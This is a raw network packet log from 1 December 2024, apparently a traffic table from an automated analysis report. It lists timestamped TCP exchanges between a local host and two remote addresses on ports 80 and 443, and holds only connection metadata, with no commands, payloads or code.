Dec 1, 2024 03:32:55.428772926 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.428874969 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.428930044 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.429790974 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.429893970 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.429945946 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.430805922 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.431077957 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.431124926 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.431806087 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.431926966 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.431978941 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.432794094 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.432915926 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.432976961 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.433830976 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.433945894 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.434001923 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.434847116 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.434946060 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.434998035 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.435818911 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.435944080 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.436000109 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.436853886 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.436959982 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.437014103 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.437866926 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.437972069 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.438040018 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.438865900 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.438982964 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.439030886 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.439872026 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.439986944 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.440058947 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.440903902 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.441016912 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.441078901 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.441781044 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.441899061 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.441994905 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.442038059 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.442917109 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.443001032 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.443049908 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.443934917 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.444046021 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.444097042 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.444963932 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.445072889 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.445158958 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.445951939 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.446064949 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.446147919 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.446940899 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.447065115 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.447125912 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.447972059 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.448081017 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.448133945 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.448308945 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.448961020 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.449075937 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.449120998 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.449973106 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.450088978 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.450129032 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.451009035 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.451112986 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.451183081 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.452004910 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.452112913 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.452161074 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.453057051 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.456583977 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.492073059 CET	443	49784	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:55.492150068 CET	443	49784	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:55.492213011 CET	49784	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:55.492343903 CET	49784	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:55.492361069 CET	443	49784	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:55.492381096 CET	49784	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:55.492387056 CET	443	49784	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:55.495363951 CET	49789	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:55.495398045 CET	443	49789	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:55.495469093 CET	49789	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:55.495706081 CET	49789	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:55.495719910 CET	443	49789	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:55.601747990 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.601875067 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.601949930 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.602236032 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.602416039 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.602463961 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.603264093 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.603379011 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.603444099 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.604270935 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.604435921 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.604504108 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.605295897 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.605377913 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.605443954 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.606276989 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.606384039 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.606448889 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.607275963 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.607393980 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.607458115 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.608294010 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.608369112 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.608419895 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.609330893 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.609447956 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.609515905 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.610337019 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.610435009 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.610491991 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.611357927 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.611442089 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.611491919 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.612337112 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.612443924 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.613360882 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.613430023 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.613461018 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.613501072 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.614347935 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.614474058 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.614523888 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.615397930 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.615490913 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.615545034 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.616417885 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.616506100 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.616564035 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.617371082 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.617502928 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.618406057 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.618467093 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.618499994 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.618545055 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.619416952 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.619524956 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.619729042 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.620434046 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.620547056 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.621432066 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.621498108 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.621514082 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.621566057 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.622440100 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.622579098 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.622638941 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.623461008 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.623575926 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.623640060 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.624456882 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.624567032 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.624622107 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.625461102 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.625583887 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.625945091 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.626481056 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.626593113 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.626863003 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.627495050 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.627615929 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.627737999 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.628508091 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.628612995 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.628670931 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.629512072 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.629638910 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.629709005 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.630538940 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.630660057 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.630709887 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.631525993 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.631628990 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.631690025 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.632539988 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.632653952 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.633306026 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.633563995 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.633672953 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.633724928 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.634555101 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.634673119 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.634727955 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.635557890 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.635670900 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.635726929 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.636625051 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.636719942 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.636857986 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.637599945 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.637702942 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.637847900 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.638603926 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.638710022 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.638802052 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.639619112 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.639717102 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.639777899 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.640319109 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.640610933 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.640717030 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.641638994 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.641688108 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.641751051 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.641823053 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.642636061 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.642762899 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.642810106 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.643654108 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.643785000 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.643847942 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.644656897 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.644776106 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.644828081 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.645682096 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.645817995 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.645946980 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.646688938 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.646809101 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.646917105 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.647694111 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.647770882 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.647859097 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.648715973 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.648884058 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.648930073 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.649357080 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.649720907 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.649863005 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.650719881 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.650768995 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.650800943 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.650846958 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.651762009 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.651851892 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.651906967 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.652738094 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.652852058 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.652930975 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.653779984 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.653888941 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.653945923 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.654691935 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.676903963 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.682773113 CET	443	49785	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:55.683271885 CET	49785	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:55.683281898 CET	443	49785	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:55.683712959 CET	49785	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:55.683717966 CET	443	49785	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:55.803075075 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.803168058 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.803225994 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.803628922 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.803709030 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.804593086 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.804708004 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.804758072 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.805629969 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.805717945 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.806464911 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.806617022 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.806735992 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.806826115 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.807630062 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.807734013 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.807898045 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.808655024 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.808758974 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.808813095 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.809640884 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.809806108 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.809905052 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.810668945 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.810769081 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.810832977 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.811677933 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.811767101 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.811991930 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.812680006 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.812782049 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.812921047 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.813759089 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.813870907 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.813987970 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.814682961 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.814809084 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.815706968 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.815821886 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.815875053 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.816720963 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.816829920 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.816875935 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.817738056 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.817894936 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.817950964 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.818733931 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.818851948 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.818936110 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.819740057 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.819850922 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.819966078 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.820769072 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.820861101 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.820904016 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.821779013 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.821885109 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.821923018 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.822798014 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.822920084 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.823040962 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.823834896 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.823936939 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.823987007 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.824795008 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.825004101 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.825057983 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.825853109 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.825965881 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.826014996 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.826822996 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.826948881 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.827709913 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.827828884 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.827965021 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.828018904 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.828844070 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.828958988 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.829015017 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.829848051 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.829931974 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.830065012 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.830856085 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.830960035 CET	80	49783	185.215.113.16	192.168.2.7
